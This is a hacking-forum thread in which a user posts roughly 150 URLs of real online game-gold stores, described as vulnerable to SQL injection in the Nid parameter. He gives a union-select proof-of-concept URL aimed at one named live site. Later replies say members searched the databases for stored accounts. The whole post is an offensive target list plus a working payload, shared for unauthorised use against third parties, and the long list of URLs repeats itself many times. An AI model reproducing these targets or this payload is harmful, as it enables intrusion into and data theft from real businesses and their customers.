151 vulnerable runescape stores.

Ben Hartley

Active Member
Joined
Mar 19, 2011
Posts
1,543
Reacts
0
Reputation
0
Credits
0
CMS vulnerability.

Simple SQL injection in the Nid paramter.
[hidden=200]
Code: 
http://okrunescape.com/ShowNews.php?Nid=46900
http://okrunescape.com/ShowNews.php?Nid=21594
http://www.ibuyrunescape.com/ShowNews.php?Nid=23943
http://rscoinbank.com/ShowNews.php?Nid=49177
http://rswalmart.com/ShowNews.php?Nid=70255
http://rscoinbank.com/ShowNews.php?Nid=28324
http://www.okaygoods.com/ShowNews.php?Nid=43365
http://www.okaygoods.com/ShowNews.php?Nid=21380
http://rswalmart.com/ShowNews.php?Nid=62607
http://okrscp.com/ShowNews.php?Nid=22056
http://okrscp.com/ShowNews.php?Nid=22056
http://www.kamaok.com/ShowNews.php?Nid=68605
http://okrsgp.com/ShowNews.php?Nid=31385
http://okrscp.com/ShowNews.php?Nid=54767
http://okrsgp.com/ShowNews.php?Nid=23123
http://www.astrubbank.com/ShowNews.php?Nid=7682
http://www.okgameok.com/ShowNews.php?Nid=69423
http://www.runesofmagic-gold-shop.com/ShowNews.php?Nid=9532
http://www.dofuswalmart.com/ShowNews.php?Nid=40743
http://www.allods-online-gold.com/ShowNews.php?Nid=40537
http://www.allods-online-gold.com/ShowNews.php?Nid=40537
http://www.ourwarcraftgold.com/ShowNews.php?Nid=25480
http://www.allods-online-gold.com/ShowNews.php?Nid=22382
http://www.buyalz.net/ShowNews.php?Nid=71923
http://www.kamaok.com/ShowNews.php?Nid=23346
http://www.ok1225.com/ShowNews.php?Nid=25946
http://www.okfiestagold.com/ShowNews.php?Nid=23402
http://www.shopdofus.com/ShowNews.php?Nid=30175
http://ok1225.net/ShowNews.php?Nid=30179
http://runegear.net/showthread.php?tid=60022
http://www.ok1225.com/ShowNews.php?Nid=30179
http://www.dofusunion.com/ShowNews.php?Nid=24582
http://www.dofusgold.com/ShowNews.php?Nid=24097
http://my4storyluna.com/ShowNews.php?Nid=30179
http://www.vindictus4u.com/ShowNews.php?Nid=21624
http://dts.search-results.com/sr?src=ieb&appid=189&systemid=406&q=Rechercher%20forest%20story-player%20free%20onlinegames%20at%20games%20games.com
http://www.magic-world2-gold.com/ShowNews.php?Nid=15198
http://digimonbattlegold.com/ShowNews.php?Nid=18215
http://www.final-fantasy-14-gil.com/ShowNews.php?Nid=4882
http://4story-golds.com/ShowNews.php?Nid=24056
http://www.dfo4u.com/ShowNews.php?Nid=5531
http://www.aika-online-gold.com/ShowNews.php?Nid=7737
http://www.buyalz.net/ShowNews.php?Nid=28191
http://digimonbattlegold.com/ShowNews.php?Nid=21640
http://aika-online-gold.com/ShowNews.php?Nid=4897
http://ok1225.net/ShowNews.php?Nid=29325
http://www.okfiestagold.com/ShowNews.php?Nid=22862
http://www.okknightgold.com/ShowNews.php?Nid=22576
http://www.oksilkroad.com/ShowNews.php?Nid=53025
http://www.okdragonica.com/ShowNews.php?Nid=37793
http://www.sellkina.com/ShowNews.php?Nid=12908
http://www.okknightgold.com/ShowNews.php?Nid=24157
http://www.ourwarcraftgold.com/ShowNews.php?Nid=18319
http://www.acheterkama.com/ShowNews.php?Nid=9945
http://sell4storygold.com/ShowNews.php?Nid=13868
http://www.oksilkroad.com/ShowNews.php?Nid=53725
http://www.okdragonica.com/ShowNews.php?Nid=5351
http://www.petforestbuy.com/ShowNews.php?Nid=18938
http://www.fcsgame.com/ShowNews.php?Nid=5607
http://okc9.com/ShowNews.php?Nid=23744
http://www.dofus-kamas.cc/ShowNews.php?Nid=24096
http://www.sell-dragonica-gold.com/ShowNews.php?Nid=14443
http://sellragnarokzeny.com/ShowNews.php?Nid=21604
http://www.buy-ff14.com/ShowNews.php?Nid=8986
http://www.dragonnestmoney.com/ShowNews.php?Nid=48187
http://www.dfo4u.com/ShowNews.php?Nid=7543
http://sell4storygold.com/ShowNews.php?Nid=59119
http://buy-4storyluna.com/ShowNews.php?Nid=8698
http://www.eu-dekaron.com/ShowNews.php?Nid=19290
http://www.lastchaosok.com/ShowNews.php?Nid=14763
http://sell-aion-kina.com/ShowNews.php?Nid=49971
http://www.powerleveldragonica.com/ShowNews.php?Nid=5033
http://sell-aion-kina.com/ShowNews.php?Nid=17817
http://www.yourdofus.com/ShowNews.php?Nid=5920
http://www.okelsword.com/ShowNews.php?Nid=13926
http://www.selldekarondil.com/ShowNews.php?Nid=54159
http://www.atlanticagoldhome.com/ShowNews.php?Nid=43339
http://www.9dragons-gold.com/ShowNews.php?Nid=9598
http://myrunesofmagic.com/ShowNews.php?Nid=5793
http://www.atlanticagoldhome.com/ShowNews.php?Nid=9740
http://www.magicworld2gold.com/ShowNews.php?Nid=24932
http://okedeneternal.com/ShowNews.php?Nid=37129
http://zentia-gold.com/ShowNews.php?Nid=4895
http://www.dofus-kamas.cc/ShowNews.php?Nid=3403
http://www.runesofmagic-gold-shop.com/ShowNews.php?Nid=8817
http://www.zentia-gold.com/ShowNews.php?Nid=5124
http://goodzeny.com/ShowNews.php?Nid=34769
http://www.minigolds.com/ShowNews.php?Nid=51101
http://www.powerleveldragonica.com/ShowNews.php?Nid=5108
http://www.minigolds.com/ShowNews.php?Nid=34135
http://okkamas4u.com/ShowNews.php?Nid=14292
http://www.okedeneternal.com/ShowNews.php?Nid=46727
http://www.dofuswalmart.com/ShowNews.php?Nid=46473
http://www.cn2eusilkroad.com/ShowNews.php?Nid=31073
http://www.sell-silkroad-gold.com/ShowNews.php?Nid=27182
http://www.yourlastchaosgold.com/ShowNews.php?Nid=44161
http://www.buygegold.com/ShowNews.php?Nid=21186
http://www.maplestorymesos4u.com/ShowNews.php?Nid=14267
http://www.skymem.com/sourcedocument.aspx?name=document-2011-2-27t17-37-10.6601z-5984562f0072455f8d131b701d6fc5a7
http://www.9dragons4u.com/ShowNews.php?Nid=11446
http://www.final-fantasy-gil.com/ShowNews.php?Nid=5385
http://www.ebaymmo.com/ShowNews.php?Nid=54303
http://www.buymsmesos.net/ShowNews.php?Nid=7735
http://www.sellragnarokzeny.com/ShowNews.php?Nid=33537
http://www.buygegold.com/ShowNews.php?Nid=6956
http://www.nakuz.com/bbs/viewthread.php?tid=3923826
http://www.ebaymmo.com/ShowNews.php?Nid=54303
http://www.buymsmesos.net/ShowNews.php?Nid=7735
http://www.sellragnarokzeny.com/ShowNews.php?Nid=33537
http://www.buygegold.com/ShowNews.php?Nid=6956
http://www.nakuz.com/bbs/viewthread.php?tid=3923826
http://www.ebaymmo.com/ShowNews.php?Nid=54303
http://www.buymsmesos.net/ShowNews.php?Nid=7735
http://www.sellragnarokzeny.com/ShowNews.php?Nid=33537
http://www.buygegold.com/ShowNews.php?Nid=6956
http://www.nakuz.com/bbs/viewthread.php?tid=3923826
http://www.ebaymmo.com/ShowNews.php?Nid=54303
http://www.buymsmesos.net/ShowNews.php?Nid=7735
http://www.sellragnarokzeny.com/ShowNews.php?Nid=33537
http://www.buygegold.com/ShowNews.php?Nid=6956
http://www.nakuz.com/bbs/viewthread.php?tid=3923826
http://www.ebaymmo.com/ShowNews.php?Nid=54303
http://www.buymsmesos.net/ShowNews.php?Nid=7735
http://www.sellragnarokzeny.com/ShowNews.php?Nid=33537
http://www.buygegold.com/ShowNews.php?Nid=6956
http://www.nakuz.com/bbs/viewthread.php?tid=3923826
http://www.ebaymmo.com/ShowNews.php?Nid=54303
http://www.buymsmesos.net/ShowNews.php?Nid=7735
http://www.sellragnarokzeny.com/ShowNews.php?Nid=33537
http://www.buygegold.com/ShowNews.php?Nid=6956
http://www.nakuz.com/bbs/viewthread.php?tid=3923826
http://www.ebaymmo.com/ShowNews.php?Nid=54303
http://www.buymsmesos.net/ShowNews.php?Nid=7735
http://www.sellragnarokzeny.com/ShowNews.php?Nid=33537
http://www.buygegold.com/ShowNews.php?Nid=6956
http://www.nakuz.com/bbs/viewthread.php?tid=3923826
http://www.ebaymmo.com/ShowNews.php?Nid=54303
http://www.buymsmesos.net/ShowNews.php?Nid=7735
http://www.sellragnarokzeny.com/ShowNews.php?Nid=33537
http://www.buygegold.com/ShowNews.php?Nid=6956
http://www.nakuz.com/bbs/viewthread.php?tid=3923826
http://www.ebaymmo.com/ShowNews.php?Nid=54303
http://www.buymsmesos.net/ShowNews.php?Nid=7735
http://www.sellragnarokzeny.com/ShowNews.php?Nid=33537
http://www.buygegold.com/ShowNews.php?Nid=6956
http://www.nakuz.com/bbs/viewthread.php?tid=3923826
http://www.ebaymmo.com/ShowNews.php?Nid=54303
http://www.buymsmesos.net/ShowNews.php?Nid=7735
http://www.sellragnarokzeny.com/ShowNews.php?Nid=33537
http://www.buygegold.com/ShowNews.php?Nid=6956
http://www.nakuz.com/bbs/viewthread.php?tid=3923826
[/hidden]

Want more vulnerabilitys in rsgp stores?
 
What's up with the random Runegear thread link in there?
 
Chewbaka said:
What's up with the random Runegear thread link in there?
Click to expand...
I wrote a script to rip the vulnerable sites from yandrex, runegear is highranking for the keyword i used.

Some junk links/invalid in there.

POC:

Extration of data.
Code: 
http://rscoinbank.com/ShowNews.php?Nid=0+union+all+select+NULL,concat(@@version_compile_os,0x3a,0x52756e65476561722e6e6574),null,null,null,null,null,null,null,null#
 
Warpclaw said:
They are all like the same site =/, same info on the SQL =/
Click to expand...

Its a cms the database will be the same for each, some are even on same server as each other so will have same infos.
 
Could you explain it a bit, I'm not gonna try it, I'm just interested.
 
i searched deeper in database...found nothing
they not stupid to store all accounts on database SQL
they store on servers..or local computers..
 
Saevus said:
i searched deeper in database...found nothing
they not stupid to store all accounts on database SQL
they store on servers..or local computers..
Click to expand...

Like one year ago they stored all there gold farmers accounts into the database but then suddenly every single one was banned ;(

Anyway yeah no accounts into the database.
 
You must log in or register to reply here.

Featured

• General Discussion
• Inactive FK Username Requests

Share this page

Back
Top